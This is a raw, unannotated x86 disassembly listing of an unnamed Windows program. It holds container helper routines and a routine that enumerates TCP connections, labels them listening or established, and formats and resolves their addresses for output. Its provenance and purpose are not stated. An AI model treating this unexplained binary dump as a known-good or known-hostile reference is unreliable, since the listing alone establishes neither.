		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C6A


loc_418C28:				; CODE XREF: sub_418C10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D1A


loc_418CD8:				; CODE XREF: sub_418CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D65
		mov	edi, esi


loc_418D65:				; CODE XREF: ___:00418D61j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D7A
		mov	edi, esi


loc_418D7A:				; CODE XREF: ___:00418D76j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418DA0	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418DA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E20	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E50	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F90	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419070	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419070	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190A0	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4190A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419130	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419150	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191B0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F074
		call	sub_437AEA
sub_4191B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41921D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41921D:				; CODE XREF: ___:004191FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419270	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_419270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_419270	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4192BE
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4192BE:				; CODE XREF: ___:004192A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419320	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_419320	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4193C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419766
		push	ebp
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		xor	ebp, ebp
		push	offset dword_444D70
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_41946F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419489
; ---------------------------------------------------------------------------


loc_41946F:				; CODE XREF: sub_4193C0+A3j
		push	offset dword_444D6C
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_419489
		mov	[esp+2B4h+var_2A0], 1


loc_419489:				; CODE XREF: sub_4193C0+ADj
					; sub_4193C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D60
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419518
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D60
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419518
		mov	ecx, [ebx+32h]
		push	offset off_444D5C
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41974C


loc_419518:				; CODE XREF: sub_4193C0+123j
					; sub_4193C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419742
		lea	ebp, [esi+14h]


loc_419554:				; CODE XREF: sub_4193C0+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419568
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41972C


loc_419568:				; CODE XREF: sub_4193C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4195CC
		sub	eax, 3
		jnz	short loc_4195F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4195D5
; ---------------------------------------------------------------------------


loc_4195CC:				; CODE XREF: sub_4193C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4195D5:				; CODE XREF: sub_4193C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195F2:				; CODE XREF: sub_4193C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419618
		xor	ebx, ebx


loc_419618:				; CODE XREF: sub_4193C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4196AE
		cmp	eax, 1
		jz	loc_419713
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4196A1
		cmp	eax, esi
		jnz	short loc_419713


loc_4196A1:				; CODE XREF: sub_4193C0+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------


loc_4196AE:				; CODE XREF: sub_4193C0+2C7j
		cmp	eax, 2
		jz	short loc_419713
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4196C2
		cmp	eax, edi
		jnz	short loc_419713


loc_4196C2:				; CODE XREF: sub_4193C0+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4196D4:				; CODE XREF: sub_4193C0+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_419713:				; CODE XREF: sub_4193C0+2CCj
					; sub_4193C0+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41972C:				; CODE XREF: sub_4193C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419554


loc_419742:				; CODE XREF: sub_4193C0+18Bj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_41974C:				; CODE XREF: sub_4193C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419768
; ---------------------------------------------------------------------------


loc_419766:				; CODE XREF: sub_4193C0+3Dj
		mov	al, 1


loc_419768:				; CODE XREF: sub_4193C0+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4193C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		call	near ptr 77C3FA76h
		nop
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419950
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41991E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41991E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419950
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41991E:				; CODE XREF: sub_419890+5Aj
					; sub_419890+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		call	near ptr 71AB50C8h
		nop
		test	eax, eax
		pop	edi
		jnz	short loc_419950
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch


loc_419950:				; CODE XREF: sub_419890+52j
					; sub_419890+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		call	near ptr 2800B86h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
